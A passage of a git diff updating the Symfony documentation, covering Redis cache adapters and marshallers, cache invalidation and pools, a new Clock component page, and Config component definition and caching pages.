better performance when using tag-based invalidation:: +In order to use tag-based invalidation, you can wrap your adapter in +:class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`. However, when Redis +is used as backend, it's often more interesting to use the dedicated +:class:`Symfony\\Component\\Cache\\Adapter\\RedisTagAwareAdapter`. Since tag +invalidation logic is implemented in Redis itself, this adapter offers better +performance when using tag-based invalidation:: use Symfony\Component\Cache\Adapter\RedisAdapter; use Symfony\Component\Cache\Adapter\RedisTagAwareAdapter; @@ -193,13 +297,99 @@ In order to use tag-based invalidation, you can wrap your adapter in :class:`Sym $client = RedisAdapter::createConnection('redis://localhost'); $cache = new RedisTagAwareAdapter($client); +.. note:: + + When using RedisTagAwareAdapter, in order to maintain relationships between + tags and cache items, you have to use either ``noeviction`` or ``volatile-*`` + in the Redis ``maxmemory-policy`` eviction policy. + +Read more about this topic in the official `Redis LRU Cache Documentation`_. + +Working with Marshaller +----------------------- + +TagAwareMarshaller for Tag-Based Caching +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Optimizes caching for tag-based retrieval, allowing efficient management of related items:: + + $marshaller = new TagAwareMarshaller(); + + $cache = new RedisAdapter($redis, 'tagged_namespace', 3600, $marshaller); + + $item = $cache->getItem('tagged_key'); + $item->set(['value' => 'some_data', 'tags' => ['tag1', 'tag2']]); + $cache->save($item); + +SodiumMarshaller for Encrypted Caching +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Encrypts cached data using Sodium for enhanced security:: + + $encryptionKeys = [sodium_crypto_box_keypair()]; + $marshaller = new SodiumMarshaller($encryptionKeys); + + $cache = new RedisAdapter($redis, 'secure_namespace', 3600, $marshaller); + + $item = $cache->getItem('secure_key'); + $item->set('confidential_data'); + $cache->save($item); + +DefaultMarshaller with igbinary Serialization +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Uses ``igbinary` for faster and more efficient serialization when available:: + + $marshaller = new DefaultMarshaller(true); + + $cache = new RedisAdapter($redis, 'optimized_namespace', 3600, $marshaller); + + $item = $cache->getItem('optimized_key'); + $item->set(['data' => 'optimized_data']); + $cache->save($item); + +DefaultMarshaller with Exception on Failure +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Throws an exception if serialization fails, facilitating error handling:: + + $marshaller = new DefaultMarshaller(false, true); + + $cache = new RedisAdapter($redis, 'error_namespace', 3600, $marshaller); + + try { + $item = $cache->getItem('error_key'); + $item->set('data'); + $cache->save($item); + } catch (\ValueError $e) { + echo 'Serialization failed: '.$e->getMessage(); + } + +SodiumMarshaller with Key Rotation +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Supports key rotation, ensuring secure decryption with both old and new keys:: + + $keys = [sodium_crypto_box_keypair(), sodium_crypto_box_keypair()]; + $marshaller = new SodiumMarshaller($keys); + + $cache = new RedisAdapter($redis, 'rotated_namespace', 3600, $marshaller); + + $item = $cache->getItem('rotated_key'); + $item->set('data_to_encrypt'); + $cache->save($item); .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name .. _`Redis server`: https://redis.io/ +.. _`Valkey`: https://valkey.io/ .. _`Redis`: https://github.com/phpredis/phpredis -.. _`RedisArray`: https://github.com/phpredis/phpredis/blob/master/arrays.markdown#readme -.. _`RedisCluster`: https://github.com/phpredis/phpredis/blob/master/cluster.markdown#readme +.. _`RedisArray`: https://github.com/phpredis/phpredis/blob/develop/arrays.md +.. _`RedisCluster`: https://github.com/phpredis/phpredis/blob/develop/cluster.md +.. _`Relay`: https://relay.so/ +.. _`RelayCluster`: https://relay.so/docs/1.x/connections#cluster .. _`Predis`: https://packagist.org/packages/predis/predis .. _`Predis Connection Parameters`: https://github.com/nrk/predis/wiki/Connection-Parameters#list-of-connection-parameters .. _`TCP-keepalive`: https://redis.io/topics/clients#tcp-keepalive .. _`Redis Sentinel`: https://redis.io/topics/sentinel +.. _`Redis LRU Cache Documentation`: https://redis.io/topics/lru-cache +.. _`php.net/context.ssl`: https://php.net/context.ssl diff --git a/components/cache/cache_invalidation.rst b/components/cache/cache_invalidation.rst index 22f5830cf3e..da88ea6273e 100644 --- a/components/cache/cache_invalidation.rst +++ b/components/cache/cache_invalidation.rst @@ -1,13 +1,9 @@ -.. index:: - single: Cache; Invalidation - single: Cache; Tags - Cache Invalidation ================== Cache invalidation is the process of removing all cached items related to a change in the state of your model. The most basic kind of invalidation is direct -items deletion. But when the state of a primary resource has spread across +item deletion. But when the state of a primary resource has spread across several cached items, keeping them in sync can be difficult. The Symfony Cache component provides two mechanisms to help solve this problem: @@ -28,7 +24,7 @@ To attach tags to cached items, you need to use the :method:`Symfony\\Contracts\\Cache\\ItemInterface::tag` method that is implemented by cache items:: - $item = $cache->get('cache_key', function (ItemInterface $item) { + $item = $cache->get('cache_key', function (ItemInterface $item): string { // [...] // add one or more tags $item->tag('tag_1'); @@ -47,7 +43,7 @@ you can invalidate the cached items by calling // if you know the cache key, you can also delete the item directly $cache->delete('cache_key'); -Using tags invalidation is very useful when tracking cache keys becomes difficult. +Using tag invalidation is very useful when tracking cache keys becomes difficult. Tag Aware Adapters ~~~~~~~~~~~~~~~~~~ @@ -61,7 +57,8 @@ method. .. note:: When using a Redis backend, consider using :ref:`RedisTagAwareAdapter <redis-tag-aware-adapter>` - which is optimized for this purpose. + which is optimized for this purpose. When using filesystem, likewise consider to use + :ref:`FilesystemTagAwareAdapter <filesystem-tag-aware-adapter>`. The :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter` class implements instantaneous invalidation (time complexity is ``O(N)`` where ``N`` is the number @@ -86,7 +83,7 @@ your fronts and have very fast invalidation checks:: .. note:: - Since Symfony 3.4, :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter` + :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter` implements :class:`Symfony\\Component\\Cache\\PruneableInterface`, enabling manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by diff --git a/components/cache/cache_items.rst b/components/cache/cache_items.rst index 027bb59f4a9..e958125c69d 100644 --- a/components/cache/cache_items.rst +++ b/components/cache/cache_items.rst @@ -1,8 +1,3 @@ -.. index:: - single: Cache Item - single: Cache Expiration - single: Cache Exceptions - Cache Items =========== @@ -17,9 +12,8 @@ Cache Item Keys and Values The **key** of a cache item is a plain string which acts as its identifier, so it must be unique for each cache pool. You can freely choose the keys, but they should only contain letters (A-Z, a-z), numbers (0-9) and the -``_`` and ``.`` symbols. Other common symbols (such as ``{``, ``}``, ``(``, -``)``, ``/``, ``\``, ``@`` and ``:``) are reserved by the PSR-6 standard for future -uses. +``_`` and ``.`` symbols. Other common symbols (such as ``{ } ( ) / \ @ :``) are +reserved by the PSR-6 standard for future uses. The **value** of a cache item can be any data represented by a type which is serializable by PHP, such as basic types (string, integer, float, boolean, null), @@ -32,7 +26,7 @@ The only way to create cache items is via cache pools. When using the Cache Contracts, they are passed as arguments to the recomputation callback:: // $cache pool object was created before - $productsCount = $cache->get('stats.products_count', function (ItemInterface $item) { + $productsCount = $cache->get('stats.products_count', function (ItemInterface $item): string { // [...] }); diff --git a/components/cache/cache_pools.rst b/components/cache/cache_pools.rst index 375b514fe80..e50c2b67633 100644 --- a/components/cache/cache_pools.rst +++ b/components/cache/cache_pools.rst @@ -1,14 +1,3 @@ -.. index:: - single: Cache Pool - single: APCu Cache - single: Array Cache - single: Chain Cache - single: Doctrine Cache - single: Filesystem Cache - single: Memcached Cache - single: PDO Cache, Doctrine DBAL Cache - single: Redis Cache - .. _component-cache-cache-pools: Cache Pools and Supported Adapters @@ -36,7 +25,6 @@ ready to use in your applications. adapters/* - Using the Cache Contracts ------------------------- @@ -49,7 +37,7 @@ and deleting cache items using only two methods and a callback:: $cache = new FilesystemAdapter(); // The callable will only be executed on a cache miss. - $value = $cache->get('my_cache_key', function (ItemInterface $item) { + $value = $cache->get('my_cache_key', function (ItemInterface $item): string { $item->expiresAfter(3600); // ... do some HTTP request or heavy computations @@ -174,7 +162,7 @@ when all items are successfully deleted):: If the cache component is used inside a Symfony application, you can remove items from cache pools using the following commands (which reside within - the :ref:`framework bundle <framework-bundle-configuration>`): + the :doc:`framework bundle </reference/configuration/framework>`): To remove *one specific item* from the *given pool*: @@ -203,7 +191,7 @@ Pruning Cache Items ------------------- Some cache pools do not include an automated mechanism for pruning expired cache items. -For example, the :ref:`FilesystemAdapter <component-cache-filesystem-adapter>` cache +For example, the :doc:`FilesystemAdapter </components/cache/adapters/filesystem_adapter>` cache does not remove expired cache items *until an item is explicitly requested and determined to be expired*, for example, via a call to ``Psr\Cache\CacheItemPoolInterface::getItem``. Under certain workloads, this can cause stale cache entries to persist well past their @@ -213,10 +201,11 @@ expired cache items. This shortcoming has been solved through the introduction of :class:`Symfony\\Component\\Cache\\PruneableInterface`, which defines the abstract method :method:`Symfony\\Component\\Cache\\PruneableInterface::prune`. The -:ref:`ChainAdapter <component-cache-chain-adapter>`, -:ref:`FilesystemAdapter <component-cache-filesystem-adapter>`, -:ref:`PdoAdapter <pdo-doctrine-adapter>`, and -:ref:`PhpFilesAdapter <component-cache-files-adapter>` all implement this new interface, +:doc:`ChainAdapter </components/cache/adapters/chain_adapter>`, +:doc:`DoctrineDbalAdapter </components/cache/adapters/doctrine_dbal_adapter>`, and +:doc:`FilesystemAdapter </components/cache/adapters/filesystem_adapter>`, +:doc:`PdoAdapter </components/cache/adapters/pdo_adapter>`, and +:doc:`PhpFilesAdapter </components/cache/adapters/php_files_adapter>` all implement this new interface, allowing manual removal of stale cache items:: use Symfony\Component\Cache\Adapter\FilesystemAdapter; @@ -225,7 +214,7 @@ allowing manual removal of stale cache items:: // ... do some set and get operations $cache->prune(); -The :ref:`ChainAdapter <component-cache-chain-adapter>` implementation does not directly +The :doc:`ChainAdapter </components/cache/adapters/chain_adapter>` implementation does not directly contain any pruning logic itself. Instead, when calling the chain adapter's :method:`Symfony\\Component\\Cache\\Adapter\\ChainAdapter::prune` method, the call is delegated to all its compatible cache adapters (and those that do not implement ``PruneableInterface`` are @@ -253,7 +242,7 @@ silently ignored):: If the cache component is used inside a Symfony application, you can prune *all items* from *all pools* using the following command (which resides within - the :ref:`framework bundle <framework-bundle-configuration>`): + the :doc:`framework bundle </reference/configuration/framework>`): .. code-block:: terminal diff --git a/components/cache/psr6_psr16_adapters.rst b/components/cache/psr6_psr16_adapters.rst index 6b98d26744b..66e44b9c22d 100644 --- a/components/cache/psr6_psr16_adapters.rst +++ b/components/cache/psr6_psr16_adapters.rst @@ -1,8 +1,3 @@ -.. index:: - single: Cache - single: Performance - single: Components; Cache - Adapters For Interoperability between PSR-6 and PSR-16 Cache ============================================================ diff --git a/components/clock.rst b/components/clock.rst new file mode 100644 index 00000000000..c4ac88e9092 --- /dev/null +++ b/components/clock.rst @@ -0,0 +1,380 @@ +The Clock Component +=================== + +The Clock component decouples applications from the system clock. This allows +you to fix time to improve testability of time-sensitive logic. + +The component provides a ``ClockInterface`` with the following implementations +for different use cases: + +:class:`Symfony\\Component\\Clock\\NativeClock` + Provides a way to interact with the system clock, this is the same as doing + ``new \DateTimeImmutable()``. +:class:`Symfony\\Component\\Clock\\MockClock` + Commonly used in tests as a replacement for the ``NativeClock`` to be able + to freeze and change the current time using either ``sleep()`` or ``modify()``. +:class:`Symfony\\Component\\Clock\\MonotonicClock` + Relies on ``hrtime()`` and provides a high resolution, monotonic clock, + when you need a precise stopwatch. + +Installation +------------ + +.. code-block:: terminal + + $ composer require symfony/clock + +.. include:: /components/require_autoload.rst.inc + +.. _clock_usage: + +Usage +----- + +The :class:`Symfony\\Component\\Clock\\Clock` class returns the current time and +allows to use any `PSR-20`_ compatible implementation as a global clock in your +application:: + + use Symfony\Component\Clock\Clock; + use Symfony\Component\Clock\MockClock; + + // by default, Clock uses the NativeClock implementation, but you can change + // this by setting any other implementation + Clock::set(new MockClock()); + + // Then, you can get the clock instance + $clock = Clock::get(); + + // Additionally, you can set a timezone + $clock->withTimeZone('Europe/Paris'); + + // From here, you can get the current time + $now = $clock->now(); + + // And sleep for any number of seconds + $clock->sleep(2.5); + +The Clock component also provides the ``now()`` function:: + + use function Symfony\Component\Clock\now; + + // Get the current time as a DatePoint instance + $now = now(); + +The ``now()`` function takes an optional ``modifier`` argument +which will be applied to the current time:: + + $later = now('+3 hours'); + + $yesterday = now('-1 day'); + +You can use any string `accepted by the DateTime constructor`_. + +Later on this page you can learn how to use this clock in your services and tests. +When using the Clock component, you manipulate +:class:`Symfony\\Component\\Clock\\DatePoint` instances. You can learn more +about it in :ref:`the dedicated section <clock_date-point>`. + +Available Clocks Implementations +-------------------------------- + +The Clock component provides some ready-to-use implementations of the +:class:`Symfony\\Component\\Clock\\ClockInterface`, which you can use +as global clocks in your application depending on your needs. + +NativeClock +~~~~~~~~~~~ + +A clock service replaces creating a new ``DateTime`` or +``DateTimeImmutable`` object for the current time. Instead, you inject the +``ClockInterface`` and call ``now()``. By default, your application will likely +use a ``NativeClock``, which always returns the current system time. In tests it is replaced with a ``MockClock``. + +The following example introduces a service utilizing the Clock component to +determine the current time:: + + use Symfony\Component\Clock\ClockInterface; + + class ExpirationChecker + { + public function __construct( + private ClockInterface $clock + ) {} + + public function isExpired(DateTimeInterface $validUntil): bool + { + return $this->clock->now() > $validUntil; + } + } + +MockClock +~~~~~~~~~ + +The ``MockClock`` is instantiated with a time and does not move forward on its own. The time is +fixed until ``sleep()`` or ``modify()`` are called. This gives you full control over what your code +assumes is the current time. + +When writing a test for this service, you can check both cases where something +is expired or not, by modifying the clock's time:: + + use PHPUnit\Framework\TestCase; + use Symfony\Component\Clock\MockClock; + + class ExpirationCheckerTest extends TestCase + { + public function testIsExpired(): void + { + $clock = new MockClock('2022-11-16 15:20:00'); + $expirationChecker = new ExpirationChecker($clock); + $validUntil = new DateTimeImmutable('2022-11-16 15:25:00'); + + // $validUntil is in the future, so it is not expired + $this->assertFalse($expirationChecker->isExpired($validUntil)); + + // Clock sleeps for 10 minutes, so now is '2022-11-16 15:30:00' + $clock->sleep(600); // Instantly changes time as if we waited for 10 minutes (600 seconds) + + // modify the clock, accepts all formats supported by DateTimeImmutable::modify() + $this->assertTrue($expirationChecker->isExpired($validUntil)); + + $clock->modify('2022-11-16 15:00:00'); + + // $validUntil is in the future again, so it is no longer expired + $this->assertFalse($expirationChecker->isExpired($validUntil)); + } + } + +Monotonic Clock +~~~~~~~~~~~~~~~ + +The ``MonotonicClock`` allows you to implement a precise stopwatch; depending on +the system up to nanosecond precision. It can be used to measure the elapsed +time between two calls without being affected by inconsistencies sometimes introduced +by the system clock, e.g. by updating it. Instead, it consistently increases time, +making it especially useful for measuring performance. + +.. _clock_use-inside-a-service: + +Using a Clock inside a Service +------------------------------ + +Using the Clock component in your services to retrieve the current time makes +them easier to test. For example, by using the ``MockClock`` implementation as +the default one during tests, you will have full control to set the "current time" +to any arbitrary date/time. + +In order to use this component in your services, make their classes use the +:class:`Symfony\\Component\\Clock\\ClockAwareTrait`. Thanks to +:ref:`service autoconfiguration <services-autoconfigure>`, the ``setClock()`` method +of the trait will automatically be called by the service container. + +You can now call the ``$this->now()`` method to get the current time:: + + namespace App\TimeUtils; + + use Symfony\Component\Clock\ClockAwareTrait; + + class MonthSensitive + { + use ClockAwareTrait; + + public function isWinterMonth(): bool + { + $now = $this->now(); + + return match ($now->format('F')) { + 'December', 'January', 'February', 'March' => true, + default => false, + }; + } + } + +Thanks to the ``ClockAwareTrait``, and by using the ``MockClock`` implementation, +you can set the current time arbitrarily without having to change your service code. +This will help you test every case of your method without the need of actually +being in a month or another. + +.. _clock_date-point: + +The ``DatePoint`` Class +----------------------- + +The Clock component uses a special :class:`Symfony\\Component\\Clock\\DatePoint` +class. This is a small wrapper on top of PHP's :phpclass:`DateTimeImmutable`. +You can use it seamlessly everywhere a :phpclass:`DateTimeImmutable` or +:phpclass:`DateTimeInterface` is expected. The ``DatePoint`` object fetches the +date and time from the :class:`Symfony\\Component\\Clock\\Clock` class. This means +that if you did any changes to the clock as stated in the +:ref:`usage section <clock_usage>`, it will be reflected when creating a new +``DatePoint``. You can also create a new ``DatePoint`` instance directly, for +instance when using it as a default value:: + + use Symfony\Component\Clock\DatePoint; + + class Post + { + public function __construct( + // ... + private \DateTimeImmutable $createdAt = new DatePoint(), + ) { + } + } + +The constructor also allows setting a timezone or custom referenced date:: + + // you can specify a timezone + $withTimezone = new DatePoint(timezone: new \DateTimezone('UTC')); + + // you can also create a DatePoint from a reference date + $referenceDate = new \DateTimeImmutable(); + $relativeDate = new DatePoint('+1month', reference: $referenceDate); + +The ``DatePoint`` class also provides a named constructor to create dates from +timestamps:: + + $dateOfFirstCommitToSymfonyProject = DatePoint::createFromTimestamp(1129645656); + // equivalent to: + // $dateOfFirstCommitToSymfonyProject = (new \DateTimeImmutable())->setTimestamp(1129645656); + + // negative timestamps (for dates before January 1, 1970) and float timestamps + // (for high precision sub-second datetimes) are also supported + $dateOfFirstMoonLanding = DatePoint::createFromTimestamp(-14182940); + +.. versionadded:: 7.1 + + The ``createFromTimestamp()`` method was introduced in Symfony 7.1. + +.. note:: + + In addition ``DatePoint`` offers stricter return types and provides consistent + error handling across versions of PHP, thanks to polyfilling `PHP 8.3's behavior`_ + on the topic. + +``DatePoint`` also allows to set and get the microsecond part of the date and time:: + + $datePoint = new DatePoint(); + $datePoint->setMicrosecond(345); + $microseconds = $datePoint->getMicrosecond(); + +.. note:: + + This feature polyfills PHP 8.4's behavior on the topic, as microseconds manipulation + is not available in previous versions of PHP. + +.. versionadded:: 7.1 + + The :method:`Symfony\\Component\\Clock\\DatePoint::setMicrosecond` and + :method:`Symfony\\Component\\Clock\\DatePoint::getMicrosecond` methods were + introduced in Symfony 7.1. + +Storing DatePoints in the Database +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you :doc:`use Doctrine </doctrine>` to work with databases, consider using the +``date_point`` Doctrine type, which converts to/from ``DatePoint`` objects automatically:: + + // src/Entity/Product.php + namespace App\Entity; + + use Doctrine\ORM\Mapping as ORM; + use Symfony\Component\Clock\DatePoint; + + #[ORM\Entity] + class Product + { + // if you don't define the Doctrine type explicitly, Symfony will autodetect it: + #[ORM\Column] + private DatePoint $createdAt; + + // if you prefer to define the Doctrine type explicitly: + #[ORM\Column(type: 'date_point')] + private DatePoint $updatedAt; + + // ... + } + +.. versionadded:: 7.3 + + The ``DatePointType`` was introduced in Symfony 7.3. + +.. _clock_writing-tests: + +Writing Time-Sensitive Tests +---------------------------- + +The Clock component provides another trait, called :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait`, +to help you write time-sensitive tests. This trait provides methods to freeze +time and restore the global clock after each test. + +Use the ``ClockSensitiveTrait::mockTime()`` method to interact with the mocked +clock in your tests. This method accepts different types as its only argument: + +* A string, which can be a date to set the clock at (e.g. ``1996-07-01``) or an + interval to modify the clock (e.g. ``+2 days``); +* A ``DateTimeImmutable`` to set the clock at; +* A boolean, to freeze or restore the global clock. + +Let's say you want to test the method ``MonthSensitive::isWinterMonth()`` of the +above example. This is how you can write that test:: + + namespace App\Tests\TimeUtils; + + use App\TimeUtils\MonthSensitive; + use PHPUnit\Framework\TestCase; + use Symfony\Component\Clock\Test\ClockSensitiveTrait; + + class MonthSensitiveTest extends TestCase + { + use ClockSensitiveTrait; + + public function testIsWinterMonth(): void + { + $clock = static::mockTime(new \DateTimeImmutable('2022-03-02')); + + $monthSensitive = new MonthSensitive(); + $monthSensitive->setClock($clock); + + $this->assertTrue($monthSensitive->isWinterMonth()); + } + + public function testIsNotWinterMonth(): void + { + $clock = static::mockTime(new \DateTimeImmutable('2023-06-02')); + + $monthSensitive = new MonthSensitive(); + $monthSensitive->setClock($clock); + + $this->assertFalse($monthSensitive->isWinterMonth()); + } + } + +This test will behave the same no matter which time of the year you run it. +By combining the :class:`Symfony\\Component\\Clock\\ClockAwareTrait` and +:class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait`, you have full +control on your time-sensitive code's behavior. + +Exceptions Management +--------------------- + +The Clock component takes full advantage of some `PHP DateTime exceptions`_. +If you pass an invalid string to the clock (e.g. when creating a clock or +modifying a ``MockClock``) you'll get a ``DateMalformedStringException``. If you +pass an invalid timezone, you'll get a ``DateInvalidTimeZoneException``:: + + $userInput = 'invalid timezone'; + + try { + $clock = Clock::get()->withTimeZone($userInput); + } catch (\DateInvalidTimeZoneException $exception) { + // ... + } + +These exceptions are available starting from PHP 8.3. However, thanks to the +`symfony/polyfill-php83`_ dependency required by the Clock component, you can +use them even if your project doesn't use PHP 8.3 yet. + +.. _`PSR-20`: https://www.php-fig.org/psr/psr-20/ +.. _`accepted by the DateTime constructor`: https://www.php.net/manual/en/datetime.formats.php +.. _`PHP DateTime exceptions`: https://wiki.php.net/rfc/datetime-exceptions +.. _`symfony/polyfill-php83`: https://github.com/symfony/polyfill-php83 +.. _`PHP 8.3's behavior`: https://wiki.php.net/rfc/datetime-exceptions diff --git a/components/config.rst b/components/config.rst index 7de46a6c6b7..9de03f1f869 100644 --- a/components/config.rst +++ b/components/config.rst @@ -1,13 +1,17 @@ -.. index:: - single: Config - single: Components; Config - The Config Component ==================== - The Config component provides several classes to help you find, load, - combine, fill and validate configuration values of any kind, whatever - their source may be (YAML, XML, INI files, or for instance a database). +The Config component provides utilities to define and manage the configuration +options of PHP applications. It allows you to: + +* Define a configuration structure, its validation rules, default values and documentation; +* Support different configuration formats (YAML, XML, INI, etc.); +* Merge multiple configurations from different sources into a single configuration. + +.. note:: + + You don't have to use this component to configure Symfony applications. + Instead, read the docs about :doc:`how to configure Symfony applications </configuration>`. Installation ------------ diff --git a/components/config/caching.rst b/components/config/caching.rst index 833492dd45e..80e23a4fdfb 100644 --- a/components/config/caching.rst +++ b/components/config/caching.rst @@ -1,12 +1,9 @@ -.. index:: - single: Config; Caching based on resources - Caching based on Resources ========================== When all configuration resources are loaded, you may want to process the configuration values and combine them all in one file. This file acts -like a cache. Its contents don’t have to be regenerated every time the +like a cache. Its contents don't have to be regenerated every time the application runs – only when the configuration resources are modified. For example, the Symfony Routing component allows you to load all routes, @@ -58,3 +55,17 @@ the cache file itself. This ``.meta`` file contains the serialized resources, whose timestamps are used to determine if the cache is still fresh. When not in debug mode, the cache is considered to be "fresh" as soon as it exists, and therefore no ``.meta`` file will be generated. + +You can explicitly define the absolute path to the meta file:: + + use Symfony\Component\Config\ConfigCache; + use Symfony\Component\Config\Resource\FileResource; + + $cachePath = __DIR__.'/cache/appUserMatcher.php'; + + // the third optional argument indicates the absolute path to the meta file + $userMatcherCache = new ConfigCache($cachePath, true, '/my/absolute/path/to/cache.meta'); + +.. versionadded:: 7.1 + + The argument to customize the meta file path was introduced in Symfony 7.1. diff --git a/components/config/definition.rst b/components/config/definition.rst index dfe9f8e166a..2b1841bc24a 100644 --- a/components/config/definition.rst +++ b/components/config/definition.rst @@ -1,6 +1,3 @@ -.. index:: - single: Config; Defining and processing configuration values - Defining and Processing Configuration Values ============================================ @@ -57,7 +54,7 @@ implements the :class:`Symfony\\Component\\Config\\Definition\\ConfigurationInte class DatabaseConfiguration implements ConfigurationInterface { - public function getConfigTreeBuilder() + public function getConfigTreeBuilder(): TreeBuilder { $treeBuilder = new TreeBuilder('database'); @@ -84,11 +81,21 @@ reflect the real structure of the configuration values:: ->defaultTrue() ->end() ->scalarNode('default_connection') - ->defaultValue('default') + ->defaultValue('mysql') + ->end() + ->stringNode('username') + ->defaultValue('root') + ->end() + ->stringNode('password') + ->defaultValue('root') ->end() ->end() ; +.. versionadded:: 7.2 + + The ``stringNode()`` method was introduced in Symfony 7.2. + The root node itself is an array node, and has children, like the boolean node ``auto_connect`` and the scalar node ``default_connection``. In general: after defining a node, a call to ``end()`` takes you one step up in the @@ -103,6 +110,7 @@ node definition. Node types are available for: * scalar (generic type that includes booleans, strings, integers, floats and ``null``) * boolean +* string * integer * float * enum (similar to scalar, but it only allows a finite set of values) @@ -112,6 +120,10 @@ node definition. Node types are available for: and are created with ``node($name, $type)`` or their associated shortcut ``xxxxNode($name)`` method. +.. versionadded:: 7.2 + + Support for the ``string`` type was introduced in Symfony 7.2. + Numeric Node Constraints ~~~~~~~~~~~~~~~~~~~~~~~~ @@ -151,11 +163,53 @@ values:: This will restrict the ``delivery`` options to be either ``standard``, ``expedited`` or ``priority``. +You can also provide enum values to ``enumNode()``. Let's define an enumeration +describing the possible states of the example above:: + + enum Delivery: string + { + case Standard = 'standard'; + case Expedited = 'expedited'; + case Priority = 'priority'; + } + +The configuration can now be written like this:: + + $rootNode + ->children() + ->enumNode('delivery') + // You can provide all values of the enum... + ->values(Delivery::cases()) + // ... or you can pass only some values next to other scalar values + ->values([Delivery::Priority, Delivery::Standard, 'other', false]) + ->end() + ->end() + ; + +You can also use the ``enumFqcn()`` method to pass the FQCN of an enum +class to the node. This will automatically set the values of the node to +the cases of the enum:: + + $rootNode + ->children() + ->enumNode('delivery') + ->enumFqcn(Delivery::class) + ->end() + ->end() + ; + +When using a backed enum, the values provided to the node will be cast +to one of the enum cases if possible. + +.. versionadded:: 7.3 + + The ``enumFqcn()`` method was introduced in Symfony 7.3. + Array Nodes ~~~~~~~~~~~ It is possible to add a deeper level to the hierarchy, by adding an array -node. The array node itself, may have a pre-defined set of variable nodes:: +node. The array node itself, may have a predefined set of variable nodes:: $rootNode ->children() @@ -193,7 +247,7 @@ above, it is possible to have multiple connection arrays (containing a ``driver` ``host``, etc.). Sometimes, to improve the user experience of your application or bundle, you may -allow to use a simple string or numeric value where an array value is required. +allow the use of a simple string or numeric value where an array value is required. Use the ``castToArray()`` helper to turn those variables into arrays:: ->arrayNode('hosts') @@ -435,13 +489,6 @@ The following example shows these methods in practice:: Deprecating the Option ---------------------- -.. versionadded:: 5.1 - - The signature of the ``setDeprecated()`` method changed from - ``setDeprecated(?string $message)`` to - ``setDeprecated(string $package, string $version, ?string $message)`` - in Symfony 5.1. - You can deprecate options using the :method:`Symfony\\Component\\Config\\Definition\\Builder\\NodeDefinition::setDeprecated` method:: @@ -499,6 +546,30 @@ and in XML: <!-- entries-per-page: This value is only used for the search results page. --> <config entries-per-page="25"/> +You can also provide a URL to a full documentation page:: + + $rootNode + ->docUrl('Full documentation is available at https://example.com/docs/{version:major}.{version:minor}/reference.html') + ->children() + ->integerNode('entries_per_page') + ->defaultValue(25) + ->end() + ->end() + ; + +A few placeholders are available to customize the URL: + +* ``{version:major}``: The major version of the package currently installed +* ``{version:minor}``: The minor version of the package currently installed +* ``{package}``: The name of the package + +The placeholders will be replaced when printing the configuration tree with the +``config:dump-reference`` command. + +.. versionadded:: 7.3 + + The ``docUrl()`` method was introduced in Symfony 7.3. + Optional Sections ----------------- @@ -550,7 +621,9 @@ be large and you may want to split it up into sections. You can do this by making a section a separate node and then appending it into the main tree with ``append()``:: - public function getConfigTreeBuilder() + use Symfony\Component\Config\Definition\Builder\NodeDefinition; + + public function getConfigTreeBuilder(): TreeBuilder { $treeBuilder = new TreeBuilder('database'); @@ -579,7 +652,7 @@ tree with ``append()``:: return $treeBuilder; } - public function addParametersNode() + public function addParametersNode(): NodeDefinition { $treeBuilder = new TreeBuilder('parameters'); @@ -655,7 +728,7 @@ The separator used in keys is typically ``_`` in YAML and ``-`` in XML. For example, ``auto_connect`` in YAML and ``auto-connect`` in XML. The normalization would make both of these ``auto_connect``. -.. caution:: +.. warning:: The target key will not be altered if it's mixed like ``foo-bar_moo`` or if it already exists. @@ -747,7 +820,7 @@ By changing a string value into an associative array with ``name`` as the key:: ->arrayNode('connection') ->beforeNormalization() ->ifString() - ->then(function ($v) { return ['name' => $v]; }) + ->then(function (string $v): array { return ['name' => $v]; }) ->end() ->children() ->scalarNode('name')->isRequired()->end() @@ -785,9 +858,10 @@ A validation rule always has an "if" part. You can specify this part in the following ways: - ``ifTrue()`` +- ``ifFalse()`` - ``ifString()`` - ``ifNull()`` -- ``ifEmpty()`` (since Symfony 3.2) +- ``ifEmpty()`` - ``ifArray()`` - ``ifInArray()`` - ``ifNotInArray()`` @@ -803,6 +877,10 @@ A validation rule also requires a "then" part: Usually, "then" is a closure. Its return value will be used as a new value for the node, instead of the node's original value. +.. versionadded:: 7.3 + + The ``ifFalse()`` method was introduced in Symfony 7.3. + Configuring the Node Path Separator ----------------------------------- @@ -827,7 +905,8 @@ character (``.``):: $node = $treeBuilder->buildTree(); $children = $node->getChildren(); - $path = $children['driver']->getPath(); + $childChildren = $children['connection']->getChildren(); + $path = $childChildren['driver']->getPath(); // $path = 'database.connection.driver' Use the ``setPathSeparator()`` method on the config builder to change the path @@ -838,7 +917,8 @@ separator:: $treeBuilder->setPathSeparator('/'); $node = $treeBuilder->buildTree(); $children = $node->getChildren(); - $path = $children['driver']->getPath(); + $childChildren = $children['connection']->getChildren(); + $path = $childChildren['driver']->getPath(); // $path = 'database/connection/driver' Processing Configuration Values @@ -871,3 +951,8 @@ Otherwise the result is a clean array of configuration values:: $databaseConfiguration, $configs ); + +.. warning:: + + When processing the configuration tree, the processor assumes that the top + level array key (which matches the extension name) is already stripped off. diff --git a/components/config/resources.rst b/components/config/resources.rst index 73d28a5db78..f9b0fda61ae 100644 --- a/components/config/resources.rst +++ b/components/config/resources.rst @@ -1,16 +1,6 @@ -.. index:: - single: Config; Loading resources - Loading Resources ================= -.. caution:: - - The ``IniFileLoader`` parses the file contents using the - :phpfunction:`parse_ini_file` function. Therefore, you can only set - parameters to string values. To set parameters to other data types - (e.g. boolean, integer, etc), the other loaders are recommended. - Loaders populate the application's configuration from different sources like YAML files. The Config component defines the interface for such loaders. The :doc:`Dependency Injection </components/dependency_injection>` @@ -40,7 +30,7 